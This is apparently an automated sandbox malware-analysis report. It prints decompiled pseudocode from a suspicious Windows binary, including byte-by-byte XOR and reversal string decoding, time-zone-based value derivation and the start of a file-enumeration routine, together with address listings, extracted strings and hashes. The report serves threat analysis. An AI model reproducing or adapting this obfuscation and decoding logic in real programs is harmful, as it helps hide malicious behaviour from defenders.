signed int _a221, char _a222, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a232, char _a240, char _a248, char _a256, char _a257, char _a258, char _a259, char _a260, char _a264, char _a272, char _a280, char _a288, char _a289, char _a290, char _a291, char _a292, char _a293, char _a296, char _a297, char _a298, char _a299, char _a300, char _a301, char _a304, signed char _a312, signed char _a313, signed char _a314, signed char _a315, signed char _a316, signed char _a317, char _a320, char _a336, char _a344, char _a352, char _a360, char _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a392, char _a400, signed char _a408, signed char _a409, signed char _a410, signed char _a411, signed char _a412, signed char _a413, char _a416, char _a417, char _a418, char _a419, char _a420, char _a421, char _a432, char _a440, char _a441, char _a442, char _a443, char _a444, char _a445, char _a448, char _a456, char _a464, char _a465, char _a466, char _a467, char _a468, char _a469, char _a470, char _a472, intOrPtr _a488) {
				intOrPtr _v4;
				void* _t262;
				void* _t270;
				char _t277;
				char _t282;
				signed int _t300;
				intOrPtr* _t302;
				char _t308;
				char _t314;
				void* _t320;
				void* _t325;
				signed int _t342;
				intOrPtr _t343;
				intOrPtr _t379;
				void* _t380;
				void* _t382;
				void* _t383;
				void* _t384;
				void* _t385;
				intOrPtr _t389;
				void* _t391;

				_t382 = __esi;
				_t262 = __eax;
				do {
					_t308 =  *((intOrPtr*)(_t391 + _t262 + 0xd8));
					 *((char*)(_t391 + _t262 + 0xd8)) =  *((intOrPtr*)(_t391 + _t382 + 0xd8));
					_t262 = _t262 + 1;
					 *((char*)(_t391 + _t382 + 0xd8)) = _t308;
					_t382 = _t382 - 1;
				} while (_t262 < _t382);
				_a408 = _a216 ^ 0x000000d4;
				_a409 = _a217 ^ 0x00000019;
				_a410 = _a218 ^ 0x000000c7;
				_a411 = _a219 ^ 0x000000dc;
				_push(6);
				_a412 = _a220 ^ 0x000000c8;
				_push( &_a440);
				 *0x431c89 = 0x19;
				_a413 = _a221 ^ 0x00000016;
				_a440 = 0x53;
				_a441 = 0x8b;
				_a442 = 0xa2;
				_a443 = 0x94;
				_a444 = 0x67;
				_a445 = 0x43;
				_a216 = 0x66;
				_a217 = 0x35;
				_a218 = 0x40;
				_a219 = 0x33;
				_a220 = 0x52;
				_a221 = 0x3c;
				_push(E0040D980( &_a216));
				_pop(_t389);
				_a416 = 0x6c;
				_a417 = 0x69;
				_a418 = 0x6e;
				_a419 = 0x64;
				_a420 = 0x61;
				_a421 = __ebx;
				_a464 = 0x73;
				_a465 = 0x61;
				_a466 = 0x6e;
				_a467 = 0x64;
				_a468 = 0x72;
				_a469 = 0x61;
				_a470 = __ebx;
				_a256 = 0x6c;
				_a257 = 0x69;
				_a258 = 0x73;
				_a259 = 0x61;
				_a260 = __ebx;
				_a208 = 0x61;
				_a209 = 1;
				_a210 = 0x45;
				_a211 = 0xff;
				_a212 = 0x6e;
				_a213 = 0xf4;
				_push(0);
				_pop(_t270);
				_t383 = 5;
				do {
					_t314 =  *((intOrPtr*)(_t391 + _t270 + 0xdc));
					 *((char*)(_t391 + _t270 + 0xdc)) =  *((intOrPtr*)(_t391 + _t383 + 0xdc));
					_t270 = _t270 + 1;
					 *((char*)(_t391 + _t383 + 0xdc)) = _t314;
					_t383 = _t383 - 1;
				} while (_t270 < _t383);
				_a408 = _a208 ^ 0x00000099;
				_a409 = _a209 ^ 0x0000000f;
				_a410 = _a210 ^ 0x00000091;
				_a411 = _a211 ^ 0x00000026;
				_push(6);
				_a412 = _a212 ^ 0x00000078;
				_push( &_a376);
				_t79 =  &_a208; // 0x66
				 *0x431c89 = 0x19;
				_a413 = _a213 ^ 0x00000061;
				_a376 = __ebx;
				_a377 = 0xc3;
				_a378 = 0x49;
				_a379 = 0x83;
				_a380 = 0xfc;
				_a381 = 0x33;
				_a208 = 0x75;
				_a209 = 0x1e;
				_a210 = 0x7f;
				_a211 = 0xd;
				_a212 = 0x68;
				_a213 = 6;
				_push(E0040D980(_t79));
				_pop(_t379);
				_a288 = 0x62;
				_a289 = 0x65;
				_a290 = 0x74;
				_a291 = 0x74;
				_a292 = 0x79;
				_a293 = __ebx;
				_a296 = 0x68;
				_a297 = 0x65;
				_a298 = 0x6c;
				_a299 = 0x65;
				_a300 = 0x6e;
				_a301 = __ebx;
				_a224 = 0x73;
				_a225 = 0x61;
				_a226 = 0x6e;
				_a227 = 0x64;
				_a228 = 0x72;
				_a229 = 0x61;
				_a230 = __ebx;
				_a200 = 8;
				_a201 = 0xf;
				_a202 = 0x6d;
				_a203 = 0xa3;
				_a204 = 0x9f;
				_a205 = 0x98;
				_t320 = 0;
				_t384 = 5;
				do {
					_t277 =  *((intOrPtr*)(_t391 + _t320 + 0xdc));
					 *((char*)(_t391 + _t320 + 0xdc)) =  *((intOrPtr*)(_t391 + _t384 + 0xdc));
					_t320 = _t320 + 1;
					 *((char*)(_t391 + _t384 + 0xdc)) = _t277;
					_t384 = _t384 - 1;
				} while (_t320 < _t384);
				_a313 = _a201 ^ 0x000000f0;
				_a312 = _a200 ^ 0x000000dc;
				_a314 = _a202 ^ 0x000000cd;
				_a316 = _a204 ^ 0x0000006e;
				_a315 = _a203 ^ 0x00000003;
				_a317 = _a205 ^ 0x00000008;
				_a208 = 0x63;
				_a209 = 0x61;
				_a210 = 0x72;
				_a211 = 0x6f;
				_a212 = 0x6c;
				_a213 = __ebx;
				_a216 = 0xee;
				_a217 = 0x5b;
				_a218 = 0xc5;
				_a219 = 0x99;
				_a220 = 0x2f;
				_t325 = 0;
				_t385 = 4;
				do {
					_t282 =  *((intOrPtr*)(_t391 + _t325 + 0xec));
					 *((char*)(_t391 + _t325 + 0xec)) =  *((intOrPtr*)(_t391 + _t385 + 0xec));
					_t325 = _t325 + 1;
					 *((char*)(_t391 + _t385 + 0xec)) = _t282;
					_t385 = _t385 - 1;
				} while (_t325 < _t385);
				_a200 = _a216 ^ 0x0000005d;
				_a201 = _a217 ^ 0x000000ec;
				_a202 = _a218 ^ 0x000000b1;
				_a203 = _a219 ^ 0x00000033;
				_a204 = _a220 ^ 0x000000ee;
				_a44 = _a32;
				_a40 =  &_a240;
				_a48 =  &_a280;
				_a52 =  &_a304;
				_a56 =  &_a416;
				_a60 =  &_a8;
				_a64 =  &_a264;
				_a76 = _a36;
				_a68 =  &_a320;
				_a72 =  &_a360;
				_a80 = _a24;
				_a88 = _a28;
				_a84 =  &_a432;
				_a92 =  &_a336;
				_a96 =  &_a440;
				_a100 =  &_a376;
				_a104 = _a20;
				_a108 =  &_a16;
				_a112 =  &_a232;
				_a116 = _v4;
				_a120 =  &_a256;
				_a124 =  &_a448;
				_t211 =  &_a472; // 0x64
				_a128 = _t211;
				_a132 =  &_a352;
				_a136 =  &_a272;
				_a140 =  &_a392;
				 *0x431c89 = 0x19;
				_a216 = 0x73;
				_a217 = 0x68;
				_a218 = 0x61;
				_a219 = 0x72;
				_a220 = 0x6f;
				_a221 = 0x6e;
				_a222 = __ebx;
				_a144 = _t389;
				_a148 =  &_a408;
				_a152 =  &_a456;
				_t231 =  &_a248; // 0x6c
				_a156 = _t231;
				_t235 =  &_a296; // 0x68
				_a160 =  &_a400;
				_a168 =  &_a288;
				_a172 = _t235;
				_a176 =  &_a224;
				_a180 =  &_a312;
				_a184 =  &_a208;
				_t247 =  &_a344; // 0x72
				_a164 = _t379;
				_a188 =  &_a200;
				_a192 =  &_a216;
				_a196 = _t247;
				_t300 = E0040C1D0( &_a216);
				_t342 = 0x28;
				_t386 =  *((intOrPtr*)(_t391 + 0x38 + _t300 % _t342 * 4));
				_t302 =  *((intOrPtr*)(_t391 + 0x38 + _t300 % _t342 * 4));
				_t380 = _t302 + 1;
				do {
					_t343 =  *_t302;
					_t302 = _t302 + 1;
				} while (_t343 != __ebx);
				return E00424873(E004028A0(_a488, _t386, _t302 - _t380), _a472);
			}

0x0040e676
0x0040e676
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e785
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e845
0x0040e846
0x0040e849
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e953
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda5
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

a, xrefs: 0040E7BD
r, xrefs: 0040E7D5
a, xrefs: 0040E9DA
S, xrefs: 0040E71F
e, xrefs: 0040E99B
C, xrefs: 0040E747
d, xrefs: 0040E9CA
n, xrefs: 0040E833
n, xrefs: 0040E9A3
n, xrefs: 0040E9C2
a, xrefs: 0040E813
lmada, xrefs: 0040ED07
d, xrefs: 0040E79E
i, xrefs: 0040E78E
m, xrefs: 0040E9F9
e, xrefs: 0040E95C
a, xrefs: 0040E7DD
o, xrefs: 0040EABE
b, xrefs: 0040E954
dualc, xrefs: 0040EC6E
l, xrefs: 0040E786
s, xrefs: 0040ECBB
fna, xrefs: 0040E8D9
hyb, xrefs: 0040ED23
r, xrefs: 0040E9D2
a, xrefs: 0040E7A6
t, xrefs: 0040E964
h, xrefs: 0040ECC3
n, xrefs: 0040E7C5
a, xrefs: 0040ECCB
n, xrefs: 0040ECE3
s, xrefs: 0040E7B5
a, xrefs: 0040EAAE
r, xrefs: 0040EAB6
c, xrefs: 0040EAA6
g, xrefs: 0040E73F
o, xrefs: 0040ECDB
a, xrefs: 0040E9BA
I, xrefs: 0040E8FD
3, xrefs: 0040E915
r, xrefs: 0040ECD3
rebyc, xrefs: 0040ED77
d, xrefs: 0040E7CD
l, xrefs: 0040EAC6
n, xrefs: 0040E796
<, xrefs: 0040E777
t, xrefs: 0040E96C
s, xrefs: 0040E9B2
y, xrefs: 0040E974

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: 3$<$C$I$S$a$a$a$a$a$a$a$a$b$c$d$d$d$dualc$e$e$fna$g$h$hyb$i$l$l$lmada$m$n$n$n$n$n$n$o$o$r$r$r$r$rebyc$s$s$s$t$t$y
API String ID: 0-907914069
Opcode ID: f9602ac4d3f74dae529f37c84504dea2ce03152ea5109ccbae854fc878d126b5
Instruction ID: 620274a91e47ed516949dfcad2be59f83fc7ba6f65b18ff5635c3fb45845cd73
Opcode Fuzzy Hash: f9602ac4d3f74dae529f37c84504dea2ce03152ea5109ccbae854fc878d126b5
Instruction Fuzzy Hash: 1A12B13440D3C18EE332CB2994547DFBFE16BA6308F088DAED4DD5A292D6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE00, Relevance: 56.3, APIs: 2, Strings: 30, Instructions: 257
timeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040BE00() {
				intOrPtr _t177;
				void* _t181;
				void* _t186;
				signed int _t187;
				signed int _t188;
				signed short _t191;
				signed short _t192;
				signed short _t193;
				void* _t197;
				signed int _t201;
				void* _t203;
				signed int _t255;
				signed int _t264;
				void* _t268;
				void* _t269;
				void* _t271;
				signed int _t272;
				void* _t274;
				void* _t276;

				_t271 = _t272;
				_t274 = (_t272 & 0xfffffff8) - 0x134;
				_t177 =  *0x4310d8; // 0xd0c2a9a8
				 *((intOrPtr*)(_t274 + 0x134)) = _t177;
				if( *((intOrPtr*)(_t271 + 8)) == 0) {
					L18:
					_t181 = E00424873(0x26,  *((intOrPtr*)(_t274 + 0x13c)));
					_push(_t271);
					return _t181;
				} else {
					if( *((intOrPtr*)(_t271 + 0xc)) >= 0x26) {
						GetLocalTime(_t274 + 0x14);
						memset(_t274 + 0x88, 0, 0x2b << 2);
						_t276 = _t274 + 0xc;
						_t215 = 0x9b;
						_t186 = GetTimeZoneInformation(_t276 + 0x88) - 1;
						__eflags = _t186;
						if(__eflags == 0) {
							_t187 =  *((intOrPtr*)(_t276 + 0xdc)) +  *(_t276 + 0x88);
						} else {
							__eflags = _t186 - 1;
							if(__eflags == 0) {
								_t215 = 0xff;
								_t187 =  *((intOrPtr*)(_t276 + 0x130)) +  *(_t276 + 0x88);
							} else {
								_t187 =  *(_t276 + 0x88);
								_t215 = 0x26;
							}
						}
						asm("cdq");
						_t188 = _t187 / 0x3c;
						_t268 = _t188;
						_t269 = _t268;
						 *(_t276 + 0x24) = _t187 % 0x3c;
						 *0x431c88 = _t215 & 0x00000038;
						 *((char*)(_t276 + 0xf)) = (_t188 & 0xffffff00 | __eflags >= 0x00000000) + (_t188 & 0xffffff00 | __eflags >= 0x00000000) + 0x2b;
						_t191 =  *((intOrPtr*)(_t276 + 0x18));
						__eflags = _t191 - 6;
						if(_t191 <= 6) {
							 *(_t276 + 0x10) = _t191 & 0x0000ffff;
						} else {
							 *(_t276 + 0x10) = 0;
						}
						_t192 =  *(_t276 + 0x16);
						__eflags = _t192 - 1;
						if(_t192 < 1) {
							L14:
							_t193 = 0;
							__eflags = 0;
						} else {
							__eflags = _t192 - 0xc;
							if(_t192 > 0xc) {
								goto L14;
							} else {
								_t193 = _t192 - 1;
							}
						}
						 *(_t276 + 0x16) = _t193;
						_t264 = _t193 & 0x0000ffff;
						 *((char*)(_t276 + 0x51)) = 3;
						 *((char*)(_t276 + 0x54)) = 3;
						 *((char*)(_t276 + 0x2d)) = 0xbe;
						 *((char*)(_t276 + 0x31)) = 0xba;
						 *((char*)(_t276 + 0x3d)) = 0xbe;
						 *((char*)(_t276 + 0x5a)) = 0xd9;
						 *((char*)(_t276 + 0x5c)) = 0xba;
						 *((char*)(_t276 + 0x63)) = 0xd9;
						 *(_t276 + 0x28) = 0xd1;
						 *((char*)(_t276 + 0x29)) = 0x34;
						 *((char*)(_t276 + 0x2a)) = 0xad;
						 *((char*)(_t276 + 0x2b)) = 0xd4;
						 *(_t276 + 0x2c) = 0x80;
						 *((char*)(_t276 + 0x2e)) = 0x8c;
						 *((char*)(_t276 + 0x2f)) = 0x5a;
						 *((char*)(_t276 + 0x30)) = 0x99;
						 *(_t276 + 0x32) = 0x77;
						 *((char*)(_t276 + 0x33)) = 0xfc;
						 *((char*)(_t276 + 0x34)) = 0x9d;
						 *((char*)(_t276 + 0x35)) = 0xa1;
						 *((char*)(_t276 + 0x36)) = 0xb5;
						 *((char*)(_t276 + 0x37)) = 0x6d;
						 *((char*)(_t276 + 0x38)) = 0xa7;
						 *((char*)(_t276 + 0x39)) = 0x67;
						 *((char*)(_t276 + 0x3a)) = 0x6e;
						 *((char*)(_t276 + 0x3b)) = 7;
						 *((char*)(_t276 + 0x3c)) = 0xec;
						 *((char*)(_t276 + 0x3e)) = 0xcc;
						 *((char*)(_t276 + 0x3f)) = 0x32;
						 *((char*)(_t276 + 0x40)) = 0x3f;
						 *((char*)(_t276 + 0x41)) = 0x65;
						 *((char*)(_t276 + 0x42)) = 0xbd;
						 *((char*)(_t276 + 0x43)) = 0xf7;
						 *((char*)(_t276 + 0x44)) = 0x47;
						 *((char*)(_t276 + 0x45)) = 0x45;
						 *((char*)(_t276 + 0x46)) = 0x14;
						 *((char*)(_t276 + 0x47)) = 0xed;
						 *((char*)(_t276 + 0x48)) = 0x68;
						 *((char*)(_t276 + 0x49)) = 0x9b;
						 *((char*)(_t276 + 0x4a)) = 0x28;
						 *((char*)(_t276 + 0x4b)) = 0x1e;
						 *((char*)(_t276 + 0x4c)) = 2;
						 *((char*)(_t276 + 0x4d)) = 2;
						 *((char*)(_t276 + 0x4e)) = 0x48;
						 *((char*)(_t276 + 0x4f)) = 0xd;
						 *((char*)(_t276 + 0x50)) = 2;
						 *((char*)(_t276 + 0x52)) = 0xc;
						 *((char*)(_t276 + 0x53)) = 0x85;
						 *((char*)(_t276 + 0x55)) = 0x1b;
						 *((char*)(_t276 + 0x56)) = 0xe3;
						 *((char*)(_t276 + 0x57)) = 0xc5;
						 *((char*)(_t276 + 0x58)) = 0x95;
						 *((char*)(_t276 + 0x59)) = 0x55;
						 *((char*)(_t276 + 0x5b)) = 0xb1;
						 *((char*)(_t276 + 0x5d)) = 0x9e;
						 *((char*)(_t276 + 0x5e)) = 0xa9;
						 *((char*)(_t276 + 0x5f)) = 0x69;
						 *((char*)(_t276 + 0x60)) = 0xea;
						 *((char*)(_t276 + 0x61)) = 0x96;
						 *((char*)(_t276 + 0x62)) = 0x57;
						 *((char*)(_t276 + 0x64)) = 0xf9;
						 *((char*)(_t276 + 0x65)) = 0x81;
						 *((char*)(_t276 + 0x66)) = 0x90;
						 *((char*)(_t276 + 0x67)) = 0x5e;
						 *((char*)(_t276 + 0x68)) = 0xd4;
						 *((char*)(_t276 + 0x69)) = 0x47;
						 *((char*)(_t276 + 0x6a)) = 0x4b;
						 *((char*)(_t276 + 0x6b)) = 0x33;
						 *((char*)(_t276 + 0x6c)) = 0x88;
						 *((char*)(_t276 + 0x6d)) = 0x9e;
						 *((char*)(_t276 + 0x6e)) = 0xe9;
						 *((char*)(_t276 + 0x6f)) = 2;
						 *((char*)(_t276 + 0x72)) = 0x87;
						 *((char*)(_t276 + 0x86)) = 0x87;
						 *((char*)(_t276 + 0x70)) = 0xd;
						 *((char*)(_t276 + 0x71)) = 1;
						 *((char*)(_t276 + 0x73)) = 0xd2;
						 *((char*)(_t276 + 0x74)) = 0x77;
						 *((char*)(_t276 + 0x75)) = 0x77;
						 *((char*)(_t276 + 0x76)) = 0x70;
						 *((char*)(_t276 + 0x77)) = 0xd7;
						 *((char*)(_t276 + 0x78)) = 0x4d;
						 *((char*)(_t276 + 0x79)) = 0xab;
						 *((char*)(_t276 + 0x7a)) = 0x1a;
						 *((char*)(_t276 + 0x7b)) = 0x7a;
						 *((char*)(_t276 + 0x7c)) = 0x22;
						 *((char*)(_t276 + 0x7d)) = 0x27;
						 *((char*)(_t276 + 0x7e)) = 0x2b;
						 *((char*)(_t276 + 0x7f)) = 0x28;
						 *((char*)(_t276 + 0x80)) = 0x32;
						 *((char*)(_t276 + 0x81)) = 0x31;
						 *((char*)(_t276 + 0x82)) = 0x68;
						 *((char*)(_t276 + 0x83)) = 0xa0;
						 *((char*)(_t276 + 0x84)) = 0x33;
						 *((char*)(_t276 + 0x85)) = 0x29;
						 *((char*)(_t276 + 0x87)) = 0xc5;
						_t197 = 0;
						__eflags = 0;
						do {
							 *(_t276 + _t197 + 0x28) =  *(_t276 + _t197 + 0x28) ^  *(_t276 + _t197 + 0x58);
							 *(_t276 + _t197 + 0x29) =  *(_t276 + _t197 + 0x29) ^  *(_t276 + _t197 + 0x59);
							 *(_t276 + _t197 + 0x2a) =  *(_t276 + _t197 + 0x2a) ^  *(_t276 + _t197 + 0x5a);
							 *(_t276 + _t197 + 0x2b) =  *(_t276 + _t197 + 0x2b) ^  *(_t276 + _t197 + 0x5b);
							 *(_t276 + _t197 + 0x2c) =  *(_t276 + _t197 + 0x2c) ^  *(_t276 + _t197 + 0x5c);
							_t255 =  *((intOrPtr*)(_t276 + _t197 + 0x5d));
							 *(_t276 + _t197 + 0x2d) =  *(_t276 + _t197 + 0x2d) ^ _t255;
							_t197 = _t197 + 6;
							__eflags = _t197 - 0x30;
						} while (_t197 < 0x30);
						asm("cdq");
						_t201 = _t269;
						asm("cdq");
						_t203 = (_t201 ^ _t255) - _t255;
						__eflags = _t203;
						 *0x431f14( *((intOrPtr*)(_t271 + 8)), _t276 + 0x50,  *((intOrPtr*)(0x42e378 +  *(_t276 + 0x2c) * 4)),  *(_t276 + 0x32) & 0x0000ffff,  *((intOrPtr*)(0x42e394 + _t264 * 4)),  *(_t276 + 0x24) & 0x0000ffff,  *(_t276 + 0x28) & 0x0000ffff,  *(_t276 + 0x22) & 0x0000ffff,  *(_t276 + 0x20) & 0x0000ffff,  *((char*)(_t276 + 0x17)), _t203, ( *(_t276 + 0x24) ^ _t255) - _t255);
						_t274 = _t276 + 0x30;
						goto L18;
					} else {
						return E00424873(0,  *((intOrPtr*)(_t274 + 0x13c)));
					}
				}
			}

0x0040be02
0x0040be06
0x0040be0c
0x0040be12
0x0040be20
0x0040c1b8
0x0040c1c4
0x0040c1cc
0x0040c1cf
0x0040be26
0x0040be2a
0x0040be46
0x0040be5a
0x0040be5a
0x0040be64
0x0040be6c
0x0040be6c
0x0040be6d
0x0040bea0
0x0040be6f
0x0040be6f
0x0040be70
0x0040be8b
0x0040be8e
0x0040be72
0x0040be72
0x0040be79
0x0040be79
0x0040be70
0x0040bea3
0x0040bea9
0x0040beac
0x0040bead
0x0040beb5
0x0040beb9
0x0040bec3
0x0040bec7
0x0040becc
0x0040bed0
0x0040bedf
0x0040bed2
0x0040bed2
0x0040bed2
0x0040bee3
0x0040bee8
0x0040beec
0x0040bef8
0x0040bef8
0x0040bef8
0x0040beee
0x0040beee
0x0040bef2
0x00000000
0x0040bef4
0x0040bef4
0x0040bef4
0x0040bef2
0x0040befd
0x0040bf02
0x0040bf09
0x0040bf0d
0x0040bf13
0x0040bf17
0x0040bf1b
0x0040bf21
0x0040bf25
0x0040bf2b
0x0040bf33
0x0040bf38
0x0040bf3d
0x0040bf42
0x0040bf47
0x0040bf4c
0x0040bf51
0x0040bf56
0x0040bf5b
0x0040bf5f
0x0040bf64
0x0040bf69
0x0040bf6e
0x0040bf73
0x0040bf78
0x0040bf7d
0x0040bf82
0x0040bf87
0x0040bf8c
0x0040bf91
0x0040bf96
0x0040bf9b
0x0040bfa0
0x0040bfa5
0x0040bfaa
0x0040bfaf
0x0040bfb4
0x0040bfb9
0x0040bfbe
0x0040bfc3
0x0040bfc8
0x0040bfcd
0x0040bfd2
0x0040bfd7
0x0040bfdb
0x0040bfdf
0x0040bfe4
0x0040bfe9
0x0040bfed
0x0040bff2
0x0040bff7
0x0040bffc
0x0040c001
0x0040c006
0x0040c00b
0x0040c010
0x0040c015
0x0040c019
0x0040c01e
0x0040c023
0x0040c028
0x0040c02d
0x0040c032
0x0040c037
0x0040c03c
0x0040c041
0x0040c046
0x0040c04b
0x0040c050
0x0040c055
0x0040c059
0x0040c05e
0x0040c062
0x0040c067
0x0040c06d
0x0040c071
0x0040c078
0x0040c07d
0x0040c082
0x0040c087
0x0040c08b
0x0040c08f
0x0040c094
0x0040c099
0x0040c09e
0x0040c0a3
0x0040c0a8
0x0040c0ad
0x0040c0b2
0x0040c0b7
0x0040c0bc
0x0040c0c1
0x0040c0c9
0x0040c0d1
0x0040c0d9
0x0040c0e1
0x0040c0e8
0x0040c0f0
0x0040c0f8
0x0040c0f8
0x0040c100
0x0040c112
0x0040c126
0x0040c12e
0x0040c13e
0x0040c146
0x0040c14a
0x0040c150
0x0040c154
0x0040c157
0x0040c157
0x0040c165
0x0040c16c
0x0040c16d
0x0040c170
0x0040c170
0x0040c1af
0x0040c1b5
0x00000000
0x0040be2c
0x0040be40
0x0040be40
0x0040be2a

APIs

GetLocalTime.KERNEL32(?,?,?,0000005D), ref: 0040BE46
GetTimeZoneInformation.KERNEL32(?), ref: 0040BE66

Strings

4, xrefs: 0040BF38
', xrefs: 0040C0B2
E, xrefs: 0040BFB4
K, xrefs: 0040C050
(, xrefs: 0040BFCD
2, xrefs: 0040C0C1
2, xrefs: 0040BF96
G, xrefs: 0040C04B
U, xrefs: 0040C00B
g, xrefs: 0040BF7D
p, xrefs: 0040C08F
W, xrefs: 0040C02D
", xrefs: 0040C0AD
i, xrefs: 0040C01E
+, xrefs: 0040C0B7
Z, xrefs: 0040BF51
1, xrefs: 0040C0C9
(, xrefs: 0040C0BC
e, xrefs: 0040BFA0
h, xrefs: 0040BFC3
^, xrefs: 0040C041
M, xrefs: 0040C099
n, xrefs: 0040BF82
z, xrefs: 0040C0A8
?, xrefs: 0040BF9B
H, xrefs: 0040BFDF
h, xrefs: 0040C0D1
G, xrefs: 0040BFAF
m, xrefs: 0040BF73
), xrefs: 0040C0E8

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Time$InformationLocalZone
String ID: "$'$($($)$+$1$2$2$4$?$E$G$G$H$K$M$U$W$Z$^$e$g$h$h$i$m$n$p$z
API String ID: 93009163-702723632
Opcode ID: 22c9023b688231d9c2e32453a74b7a62bc085fa9478cbb91cb5130f129e2977f
Instruction ID: 870c95afbb1cbeff0bd89cf92d2c2fa3d0bc51a0570fd8160c6f954bfc7a5a8c
Opcode Fuzzy Hash: 22c9023b688231d9c2e32453a74b7a62bc085fa9478cbb91cb5130f129e2977f
Instruction Fuzzy Hash: 9CC1372110D7C189D322C77C948869FFFD55BEB228F584A9DF1E48B3E2C2A58149C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00406360, Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 153
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406360(CHAR* _a4, char _a8) {
				intOrPtr _v8;
				char _v532;
				struct _WIN32_FIND_DATAA _v852;
				char _v856;
				char _v857;
				char _v858;
				char _v859;
				char _v860;
				void* _v864;
				char _v865;
				char _v866;
				char _v867;
				char _v868;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t53;
				int _t62;
				void* _t63;
				void* _t65;
				signed char _t80;
				void* _t89;
				signed int _t94;
				void* _t125;
				void* _t129;
				void* _t130;
				void* _t132;
				void* _t134;
				signed int _t135;
				void* _t138;
				void* _t140;

				_t53 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t53;
				_v868 = 0x2a;
				_v866 = 0x2a;
				memset( &_v532, 0, 0x82 << 2);
